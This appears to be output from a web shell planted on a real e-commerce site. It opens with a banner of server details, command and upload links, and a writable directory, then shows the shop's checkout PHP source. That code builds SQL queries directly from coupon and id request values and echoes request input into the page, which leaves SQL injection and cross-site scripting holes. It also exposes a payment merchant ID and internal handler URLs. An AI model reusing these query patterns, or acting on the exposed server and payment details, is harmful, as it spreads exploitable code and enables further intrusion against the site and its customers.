|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u641149403/domains/uniformindia.co.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
if(!isset($_SESSION['id'])){
header('location:index.php');
}
include('header.php');
include('connect.php');
$user_id=$_SESSION['id'];
$sql="SELECT * FROM settings WHERE variable='system_timezone'";
$res_time = mysqli_query($con,$sql);
if(!empty($res_time)){
foreach ($res_time as $row){
$id = $row['id'];
$data = json_decode($row['value'], true);
}
}
$user_data=mysqli_query($con,"SELECT * FROM users WHERE id='$user_id'");
$user=mysqli_fetch_array($user_data);
// coupon data
$date = date('Y-m-d');
$coupon_data = $con->query("SELECT * FROM promo_codes WHERE status=1 AND end_date>='$date' AND no_of_users>0");
// coupon code apply check
if (isset($_POST['coupon'])) {
$total=$_POST['total'];
$couponData = $con->query("SELECT * FROM promo_codes WHERE promo_code='".$_POST['coupon']."'");
if(mysqli_num_rows($couponData)>0){
$coupon_value = mysqli_fetch_assoc($couponData);
$compare = strcmp($coupon_value['promo_code'],$_POST['coupon']);
if ($compare==0) {
if ($coupon_value['minimum_order_amount']<=$total) {
$coupon_price = $coupon_value['discount'];
$coupon_price_percent = $coupon_value['discount_type'];
$coupon_message = '<div class="alert alert-success d-block">Coupon Code Applied For Successfully.</div>';
if ($coupon_value['discount_type']=='percentage') {
$discount = $total - ($total * ($coupon_value['discount'] / 100));
$DiscountAmount = $total-$discount;
}else{
$discount = $total-$coupon_value['discount'];
$DiscountAmount = $coupon_value['discount'];
}
$discount = round($discount,2);
$coupon_discount_price=$coupon_value['discount'];
$coupon_discount=$discount;
$coupon_promo_code=$coupon_value['promo_code'];
}else{
$coupon_message = '<div class="alert alert-danger">This promo code is applicable only for order amount greater than or equal to '.$coupon_value['minimum_order_amount'].'</div>';
}
}else{
$coupon_message = '<div class="alert alert-danger">Invalid promo code.</div>';
}
}else{
$coupon_message = '<div class="alert alert-danger">Invalid promo code.</div>';
}
}
?>
<?php
$quer=$con->query("SELECT * FROM order_items Where user_id='$user_id' and active_status=''");
$total_item = mysqli_num_rows($quer);
$sub_total=0;
$discount_price=0;
while($products=mysqli_fetch_array($quer)){
$pr_vr_id=$products['product_variant_id'];
$join="SELECT *,products.id as product_id FROM products INNER JOIN product_variant ON products.id = product_variant.product_id WHERE product_variant.id='$pr_vr_id'";
$res_join=mysqli_query($con,$join);
$row_join=mysqli_fetch_array($res_join);
$sub_total+=$row_join['discounted_price']*$products['quantity'];
$discount_price+=$row_join['price']*$products['quantity'];
}
if($sub_total>=$data['min_amount']){
$delivery_charge = '0';
} else{
$delivery_charge = $data['delivery_charge'];
}
$total_amount = $sub_total;
?>
<style>
.alert-success{
display: none;
}
.pincode-error{
display: none;
position: absolute;
top: -23px;
}
</style>
<section class="checkout-section py-lg-5 py-3">
<div class="container-fluid">
<div class="row">
<div class="col-md-8">
<div class="card p-3 mb-3">
<div class="login-details">
<div class="h5">LOGIN <i class="fa fa-check"></i>
<a href="#profile-edit<?=$i;?>" data-toggle="collapse" class="profile-user">Edit</a>
</div>
<strong class="text-dark"><?=$user['name'];?> <span class="pl-3"><?=$user['mobile'];?></span></strong>
<div id="profile-edit<?=$i;?>" class="collapse">
<form method="post" class="Update_profile">
<div class="row align-items-center">
<div class="col-lg-12">
<div class="alert alert-success alert-dismissible">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Success!</strong> Profile updated successfully...
</div>
</div>
<div class="col-lg-12">
<h4>Update Profile</h4>
</div>
<div class="col-lg-6">
<input type="text" name="name" value="<?=$user['name'];?>" class="form-control" placeholder="Name" required>
</div>
<div class="col-lg-6">
<input type="number" value="<?=$user['mobile'];?>" readonly name="phone" class="form-control" placeholder="Phone Number" required>
</div>
<div class="col-lg-6">
<input type="text" placeholder="Email" name="email" value="<?=$user['email'];?>" class="form-control" >
</div>
<div class="col-lg-4 col-8">
<input type="submit" class="btn btn-theme mb-lg-20" name="update_address" value="UPDATE PROFILE">
</div>
<div class="col-lg-2 col-4 mb-lg-20">
<a href="#profile-edit<?=$i;?>" data-toggle="collapse" class="cancel_profile theme-color">Cancel</a>
</div>
</div>
</form>
</div>
</div>
</div>
<?php if(!isset($_GET['id']) && !isset($_GET['pay'])){ ?>
<div class="address_data card">
<div class="card-header">
<div class="card-title">Delivery Address</div>
</div>
<?php
$query=mysqli_query($con,"SELECT * FROM user_location WHERE user_id='$user_id'");
$i=1;
while($user_location=mysqli_fetch_array($query)){ ?>
<div class="card-body <?php if($i==1){echo 'active';} ?>">
<div class="address-list">
<div class="radio-button">
<input type="radio" class="select-address" name="address" <?php if($i==1){echo 'checked';} ?> value="<?=$user_location['location_id'];?>">
</div>
<div class="user-details">
<strong><?=$user_location['user_name'];?> <span class="pl-3"><?=$user_location['user_mobile'];?></span></strong>
<p><?=$user_location['address'];?>, <?=$user_location['city'];?>, <?=$user_location['state'];?> - <b><?=$user_location['pincode'];?></b></p>
<a href="checkout.php?id=<?=$user_location['location_id'];?>&pay=payment" class="btn btn-theme mb-4">Deliver Here/Continue</a>
<a href="#user-edit<?=$i;?>" data-toggle="collapse" class="edit-user">Edit</a>
<div id="user-edit<?=$i;?>" class="collapse">
<form method="post" class="Updateaddress" id="Updateaddress">
<div class="row align-items-center">
<div class="col-lg-12">
<div class="alert alert-success alert-dismissible">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Success!</strong> Address updated successfully...
</div>
</div>
<div class="col-lg-12">
<h4>Edit Address</h4>
</div>
<div class="col-lg-6">
<input type="hidden" name="location_id" value="<?=$user_location['location_id'];?>">
<input type="text" name="name" value="<?=$user_location['user_name'];?>" class="form-control" placeholder="Receiver Name" required>
</div>
<div class="col-lg-6">
<input type="number" value="<?=$user_location['user_mobile'];?>" name="phone" class="form-control" placeholder="Receiver Phone Number" required>
</div>
<div class="col-lg-6">
<input type="text" placeholder="Class" name="class" value="<?=$user_location['class'];?>" class="form-control" >
</div>
<div class="col-lg-6">
<label class="pincode-error text-danger"></label>
<input type="number" name="pincode" value="<?=$user_location['pincode'];?>" onkeyup="keyup(this.value)" placeholder="Pincode" class="pin form-control" placeholder="Pincode" required>
</div>
<div class="col-lg-12">
<textarea class="form-control" rows="3" name="address" required placeholder="Address"><?=$user_location['address'];?></textarea>
</div>
<div class="col-lg-6">
<input type="text" name="state" value="<?=$user_location['state'];?>" placeholder="State" class="form-control" required>
</div>
<div class="col-lg-6">
<input type="text" name="city" value="<?=$user_location['city'];?>" placeholder="City" class="city-name form-control" required>
</div>
<div class="col-lg-12">
<input type="text" name="country" value="India" readonly placeholder="Country" class="form-control" required>
</div>
<div class="col-lg-6 col-8">
<input type="submit" class="btn btn-theme" name="update_address" value="SAVE AND DELIVER HERE">
</div>
<div class="col-lg-6 col-4">
<a href="#user-edit<?=$i;?>" data-toggle="collapse" class="theme-color">Cancel</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<?php $i++; } ?>
</div>
<div class="address_data card mt-3">
<div class="card-header bg-white">
<a href="#add-address" data-toggle="collapse" class="theme-color"><i class="fa fa-plus pr-3"></i> Add a new address</a>
</div>
<div id="add-address" class="collapse">
<div class="card-body">
<form method="post" id="Addaddress" autocomplete="off">
<div class="row align-items-center">
<div class="col-lg-12">
<div class="alert alert-success alert-dismissible">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Success!</strong> Address added successfully...
</div>
</div>
<div class="col-lg-12">
<h4>Add A New Address</h4>
</div>
<div class="col-lg-6">
<input type="hidden" name="user_id" value="<?=$user_id;?>">
<input type="text" name="name" class="form-control" required placeholder="Receiver Name" autocomplete="off">
</div>
<div class="col-lg-6">
<input type="number" name="phone" class="form-control" placeholder="Receiver Phone Number" required autocomplete="off">
</div>
<div class="col-lg-6">
<input type="number" name="class" placeholder="class" class="form-control" autocomplete="off" >
</div>
<div class="col-lg-6">
<label class="pincode-error text-danger"></label>
<input type="number" name="pincode" placeholder="Pincode" class="pin form-control" onkeyup="keyup(this.value)" autocomplete="off" required autocomplete="off">
</div>
<div class="col-lg-12">
<textarea class="form-control" rows="3" name="address" autocomplete="off" required placeholder="Address" autocomplete="off"></textarea>
</div>
<div class="col-lg-6">
<input type="text" name="state" placeholder="State" class="form-control" required autocomplete="off">
</div>
<div class="col-lg-6">
<input type="text" name="city" placeholder="City" class="city-name form-control" required autocomplete="off">
</div>
<div class="col-lg-12">
<input type="text" name="country" placeholder="Country" value="India" readonly class="form-control" required autocomplete="off">
</div>
<div class="col-lg-6 col-9">
<input type="submit" class="btn btn-theme" name="add_address" value="SAVE AND DELIVER HERE">
</div>
<div class="col-lg-6 col-3">
<a href="#add-address" data-toggle="collapse" class="theme-color">Cancel</a>
</div>
</div>
</form>
</div>
</div>
</div>
<?php } ?>
<?php if(isset($_GET['id'])){
$query=mysqli_query($con,"SELECT * FROM user_location WHERE location_id='".$_GET['id']."'");
$i=1;
$location=mysqli_fetch_array($query);
?>
<div class="card mt-3">
<div class="card-body text-left">
<h5>Deliver Address <a href="checkout.php" class="btn btn-theme float-right">CHANGE</a></h5>
<p><b class="text-capitalize"><?=$user['name'];?></b> <?=$location['address'];?>, <?=$location['city'];?>, <?=$location['state'];?> - <b><?=$location['pincode'];?></b></p>
</div>
</div>
<!-- <div class="card mt-3">
<div class="card-header">
<div class="card-title">Order Summary</div>
</div>
<?php
$query=$con->query("SELECT *,order_items.id as order_items_id FROM order_items Where user_id='$user_id' and active_status=''");
while($product=mysqli_fetch_array($query)){
$pr_vr_id=$product['product_variant_id'];
$join="SELECT *,products.id as product_id FROM products LEFT JOIN product_variant ON products.id = product_variant.product_id WHERE product_variant.id='$pr_vr_id'";
$res_join=mysqli_query($con,$join);
$row_join=mysqli_fetch_array($res_join);
$or_id=$or_id.','.$row_join['id'];
$img=$row_join['image'];
$dis=intval($row_join['price'])-intval($row_join['discounted_price']);
if($dis>0){ $ds= floor($dis*100/$row_join['price']);} else{$ds= '0';}
?>
<div class="card-body">
<div class="row">
<div class="col-lg-4">
<div class="product-img">
<img src="admin/<?=$img;?>">
</div>
<div class="qty-container">
<button class="qty-btn-minus btn-light" onclick="RemoveQty(<?php echo $product['order_items_id'];?>)" type="button"><i class="fa fa-minus"></i></button>
<input type="text" name="update_qty" min="1" value="<?=$product['quantity'];?>" class="input-qty" disabled />
<button class="qty-btn-plus btn-light" onclick="AddQty(<?php echo $product['order_items_id'];?>)" type="button"><i class="fa fa-plus"></i></button>
</div>
</div>
<div class="col-lg-8">
<div class="product-details">
<h5><?php echo $row_join['name'];?></h5>
<?php if($row_join['assured']==1){ ?><span class="badge badge-primary"><img src="images/assured.png" style="width: 20px;height: 20px"> Assured</span><?php } ?>
<div class="price-part">
<del><span>₹<?php echo $row_join['price'];?> </span></del> <span class="product-price">₹<?php echo $row_join['discounted_price'];?> </span> <span class="discount"><?=$ds; ?>% off</span>
<p>Quantity: <?=$product['quantity'];?></p>
</div>
<a href="javascript:void[0]" onclick="removecartitem(<?php echo $product['order_items_id'];?>)">Remove Item</a>
</div>
</div>
</div>
</div>
<?php } ?>
</div> -->
<?php if(!isset($_GET['pay'])){
$query=mysqli_query($con,"SELECT * FROM user_location WHERE location_id='".$_GET['id']."'");
$user_location_by_id=mysqli_fetch_array($query);
$user_location_email = $user_location_by_id['user_email'];
?>
<div class="card mt-3">
<div class="card-body">
<div class="row align-items-center">
<div class="col-lg-8">
<p class="h6 mb-0">Order confirmation email will be sent to <?=$user['email'];?></p>
</div>
<div class="col-lg-4">
<a href="checkout.php?id=<?=$_GET['id']?>&pay=payment" class="btn btn-theme float-md-right mt-3 mt-md-0">Continue</a>
</div>
</div>
</div>
</div>
<?php } } ?>
<?php if(isset($_GET['pay']) && mysqli_num_rows($coupon_data)>0){ ?>
<!-- coupon code -->
<div class="row">
<!-- <div class="col-lg-6 pr-1">
<div class="discount-code-wrapper coupan__wrapper">
<div class="title-wrap">
<h4 class="cart-bottom-title section-bg-gray">Offers</h4>
</div>
<div class="discount-code">
<p>Copy and Paste code to get exciting discount</p>
<?php while($coupon=mysqli_fetch_assoc($coupon_data)){ ?>
<div class="inner__sec_discount mb-2">
<h5 class=""><?=$coupon['message'];?></h5>
<?php
if ($coupon['minimum_order_amount']<=$_POST['total'] && $coupon['promo_code']==$_POST['coupon']) {
if ($coupon['discount_type']=='percentage') {
$coupon_discount = round(($coupon['discount']/100)*$_POST['total'],2);
}else{
$coupon_discount = $coupon['discount'];
}
?>
<p class="themeclr">You will save <?=$coupon_discount;?> with this code</p>
<?php }else{ ?>
<p class="redclr">This promo code is applicable only for order amount greater than or equal to <?=$coupon['minimum_order_amount']?></p>
<?php } ?>
<p class="pt-1 coupan_text"><?=$coupon['promo_code'];?></p>
</div>
<?php } ?>
</div>
</div>
</div> -->
<div class="col-lg-12 pl-1">
<div class="discount-code-wrapper">
<div class="title-wrap">
<h4 class="cart-bottom-title section-bg-gray">Use Coupon Code</h4>
</div>
<div class="discount-code">
<?php if($coupon_price==0){ ?>
<p>Enter your coupon code if you have one.</p>
<?php } ?>
<form method="POST" id="couponForm">
<input type="hidden" name="total" value="<?=$total_amount;?>">
<div class="formResponse">
<?=$coupon_message; ?>
</div>
<?php if($coupon_price==0){ ?>
<div class="input-group">
<input type="text" class="form-control" name="coupon" value="<?=$_POST['coupon'];?>" placeholder="Coupon code">
<span class="">
<button class="btn btn-theme">APPLY COUPON</button>
</span>
</div>
<?php }else{ ?>
<div class="input-group">
<input style="width:80%;" type="text" class="form-control" value="<?=$_POST['coupon'];?>" placeholder="Coupon code">
<span class="input-group-append h-100">
<a style="padding: 10px 14px;top: 1px;" href="checkout.php?id=<?=$_GET['id']?>&pay=payment" class="btn btn-danger">x</a>
</span>
<p>Enter your coupon code if you have one.</p>
</div>
<?php } ?>
</form>
</div>
</div>
</div>
</div>
<?php } ?>
</div>
<div class="col-md-4">
<div class="card price-details">
<div class="card-header">
<div class="card-title">
Price Details
</div>
</div>
<div class="card-body">
<?php
if (isset($_SESSION['id'])) {
$x=1;
$query=$con->query("SELECT * FROM order_items Where user_id='$user_id' and active_status=''");
while($product=mysqli_fetch_array($query)){
$pr_vr_id=$product['product_variant_id'];
$join="SELECT *,products.id as product_id FROM products INNER JOIN product_variant ON products.id = product_variant.product_id WHERE product_variant.id='$pr_vr_id'";
$res_join=mysqli_query($con,$join);
$row_join=mysqli_fetch_array($res_join);
?>
<div class="title">Price (item <?=$x++;?>) <span>₹<span><?php echo $row_join['discounted_price']*$product['quantity'];?></span></span></div>
<?php
}
}
?>
<div class="title">Sub Total <!--(<?=$total_item;?> item)--> <span>₹<?=$sub_total;?></span></div>
<?php
if($coupon_price!=0 ){
$ttl_amount=$discount+$delivery_charge;
?>
<div class="title">Coupon Discount <span>
-<?php if ($coupon_price_percent=='amount') {
echo '₹'.$coupon_price;
}else{
echo $coupon_price.'%';
} ?></span></div>
<?php }else{
$ttl_amount=$total_amount+$delivery_charge;
} ?>
<div class="title">Delivery Charge <span>+₹<?=$delivery_charge;?></span></div>
<div class="total-payable">
<div class="title">Total Payable <span>₹<?=$ttl_amount;?></span></div>
</div>
</div>
<div class="total-discount">
<div class="title text-success text-center pb-2">Your Total Saving On This Order ₹<?=($discount_price-$sub_total)+$DiscountAmount;?></div>
</div>
</div>
<?php if(isset($_GET['pay'])){ ?>
<form method="post" action="ccavRequestHandler.php">
<div class="card mt-3">
<div class="card-header">
<div class="card-title">Payment Option</div>
</div>
<div class="card-body">
<input type="hidden" name="chk_out" value="chk_out">
<input type="hidden" name="redirect_url" value="https://uniformindia.co.in/ccavResponseHandler.php"/>
<input type="hidden" name="cancel_url" value="https://uniformindia.co.in/ccavResponseHandler.php"/>
<input type="hidden" name="merchant_id" value="2903762">
<input type="hidden" name="user_id" value="<?=$_SESSION['id'];?>">
<input type="hidden" name="currency" value="INR">
<input type="hidden" name="order_id" value="<?=rand();?>">
<input type="hidden" name="billing_name" value="<?=$user['name'];?>">
<input type="hidden" name="billing_email" value="<?=$user['email'];?>">
<input type="hidden" name="billing_tel" value="<?=$user['mobile'];?>">
<input type="hidden" name="location_id" value="<?=$_GET['id'];?>">
<input type="hidden" name="amount" value="<?=$ttl_amount;?>">
<input type="hidden" name="base_amount" value="<?=$total_amount;?>">
<input type="hidden" name="delivery_charge" value="<?=$delivery_charge;?>">
<input type="hidden" name="or_id" value="<?=$pr_vr_id;?>">
<input type="hidden" name="billing_address" value="<?=$location['address'];?>">
<input type="hidden" name="billing_state" value="<?=$location['state'];?>">
<input type="hidden" name="billing_city" value="<?=$location['city'];?>">
<input type="hidden" name="billing_country" value="<?=$location['country'];?>">
<input type="hidden" name="billing_zip" value="<?=$location['pincode'];?>">
<input type="hidden" name="promo_discount" value="<?=$coupon_discount_price;?>">
<input type="hidden" name="promocode" value="<?=$coupon_promo_code;?>">
<!-- <div class="form-group">
<label>Select Delivery Date:</label>
<input type="date" class="form-control" value="<?=date('Y-m-d', strtotime("+1 day"))?>" min="<?=date('Y-m-d', strtotime("+1 day"))?>" name="dlvday" required>
</div> -->
<div class="form-check-inline w-md-50">
<label class="form-check-label">
<input type="radio" checked class="form-check-input" value="Paid" name="payment_method"> Online
</label>
</div>
<div class="form-check-inline">
<label class="form-check-label">
<input type="radio" class="form-check-input" value="Cash On Delivery" name="payment_method"> Cash On Delivery
</label>
</div>
<br>
<br>
<button class="btn btn-theme" id="submit-form" type="submit">Place an order</button>
</div>
</div>
</form>
<?php } ?>
<div class="payment-content pt-4 px-3">
<div class="title"><img src="images/shield.png" width="40px">Safe and Secure Payments. Easy returns. 100% Authentic products.</div>
</div>
</div>
</div>
</div>
</section>
<?php include('footer.php'); ?>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.15.1/jquery.validate.min.js"></script>
<script>
$('.select-address').click(function(){
var val = $(this).val();
$('.select-address').parent().parent().parent().removeClass('active');
$(this).parent().parent().parent().addClass('active');
$('.card-body.active .btn-theme').show();
});
$('#Addaddress').submit(function(e) {
e.preventDefault();
$.ajax({
type: "POST",
url: 'add-address.php',
data:$("#Addaddress").serialize(),
success: function(response) {
if (response==0) {
alert('complete your profile');
window.location.href = "my_profile.php";
}else{
$('#Addaddress .alert-success').show();
$('#Addaddress')[0].reset();
window.location.href = "checkout.php?id="+response;
}
}
});
});
$('.Updateaddress').submit(function(e) {
e.preventDefault();
$.ajax({
type: "POST",
url: 'add-address.php',
data:$(".Updateaddress").serialize(),
success: function(response) {
window.location.href = 'checkout.php?id='+response;
}
});
});
// update profile
$('.Update_profile').submit(function(e) {
e.preventDefault();
$.ajax({
type: "POST",
url: 'add-address.php',
data:$(".Update_profile").serialize(),
success: function(response) {
$('.Update_profile .alert-success').show();
console.log(response);
setTimeout(function(){
$('#profile-edit').hide()
}, 2000)
}
});
});
function keyup(e){
$.ajax({
url:'add-address.php',
method:'POST',
dataType: 'json',
data:{check_pincode:'check_pincode',pincode:e},
success:function(data){
if (data.status=='err') {
$('.pincode-error').text('Pincode not Exists').show();
$('.city-name').val('');
}else{
$('.pincode-error').hide();
$('.city-name').val(data.result.name);
}
}
})
}
// remove item
function removecartitem(e){
$.ajax({
url:'add_to_cart.php',
type:'POST',
data:{remove:'remove',id:e},
success:function(data){
location.reload();
}
})
}
// Remove quantity
function RemoveQty(e){
var qty = parseInt($('.input-qty').val())-1;
$.ajax({
url:'add_to_cart.php',
type:'POST',
data:{update_qty:qty,id:e},
success:function(data){
location.reload();
}
})
}
// Add quantity
function AddQty(e){
var qty = parseInt($('.input-qty').val())+1;
$.ajax({
url:'add_to_cart.php',
type:'POST',
data:{update_qty:qty,id:e},
success:function(data){
location.reload();
}
})
}
$('.city-name').click(function(){
$('.pin').val('');
})
$('#submit-form').click(function() {
$("#pageloader").show();
})
</script>